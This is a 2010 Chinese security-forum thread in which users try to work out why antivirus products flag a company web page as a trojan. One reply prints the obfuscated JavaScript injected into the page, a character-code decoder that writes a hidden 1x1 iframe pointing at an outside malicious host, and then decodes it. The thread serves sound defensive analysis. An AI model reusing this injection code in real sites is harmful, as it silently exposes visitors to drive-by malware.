http://www.chainway-litex.com/CPJS/danan.htm（卡巴，360都报有木马）[挂马]

显示全部楼层 · 发表于 2010-3-12 10:22:35

本帖最后由 asinasina 于 2010-3-12 21:03 编辑

卡巴报Trojan-Clicker.HTML.IFrame.fh
谁能帮看看是怎么回事啊？
这个是一个朋友给人家做的网站，总是解决不了，请高手帮吗。

显示全部楼层 · 发表于 2010-3-12 10:41:32

红伞金山网盾没反应

显示全部楼层 · 发表于 2010-3-12 10:54:47

可是红伞直接扫描网站的文件会有报的

显示全部楼层 · 发表于 2010-3-12 12:27:14

我就发现了这个hxxp://x-road.co.kr/rich/out.php，不过貌似还失效了

显示全部楼层 · 发表于 2010-3-12 16:01:41

刚装的BD2010，报2个毒。

嘿嘿，我还以为中看不中用呢、、。。。

显示全部楼层 · 发表于 2010-3-12 16:08:06

阿香婆不报。。。。

显示全部楼层 · 发表于 2010-3-12 16:25:01

本帖最后由幸福的猪猪于 2010-3-12 16:28 编辑

<!--
function Decode(){var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!104!116!116!112!58!47!47!120!45!114!111!97!100!46!99!111!46!107!114!47!114!105!99!104!47!111!117!116!46!112!104!112!32!119!105!100!116!104!61!49!32!104!101!105!103!104!116!61!49!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);}
//-->

复制代码

把！转换为&#。

<&#--
function Decode(){var temp="",i,c=0,out="";var str="&#60&#105&#102&#114&#97&#109&#101&#32&#115&#114&#99&#61&#104&#116&#116&#112&#58&#47&#47&#120&#45&#114&#111&#97&#100&#46&#99&#111&#46&#107&#114&#47&#114&#105&#99&#104&#47&#111&#117&#116&#46&#112&#104&#112&#32&#119&#105&#100&#116&#104&#61&#49&#32&#104&#101&#105&#103&#104&#116&#61&#49&#62&#60&#47&#105&#102&#114&#97&#109&#101&#62";l=str.length;while(c<=str.length-1){while(str.charAt(c)&#='&#')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);}
//-->

复制代码

用redoce的"9>转义符清除(&#,&#x)"得出：

<--
function Decode(){var temp="",i,c=0,out=""var str="<iframe src=http://x-road.co.kr/rich/out.php width=1 height=1></iframe>"l=str.lengthwhile(c<=str.length-1){while(str.charAt(c)='')temp=temp+str.charAt(c++)c++out=out+String.fromCharCode(temp)temp=""}document.write(out)}
//-->

显示全部楼层 · 发表于 2010-3-12 16:59:37

这网站有啥用

显示全部楼层 · 发表于 2010-3-12 17:38:11

禁止访问此网站！
G Data 互联网安全套装 2010禁止访问此网站。
该站点包含恶意代码：Trojan.Script.19207 (2x) (Engine A), VBS:Malware-gen (Engine B)。

显示全部楼层 · 发表于 2010-3-12 18:23:49

应该是被挂了

PS:金山网盾真的没反应。。。。。

[其它] http://www.chainway-litex.com/CPJS/danan.htm（卡巴，360都报有木马）[挂马]

评分

评分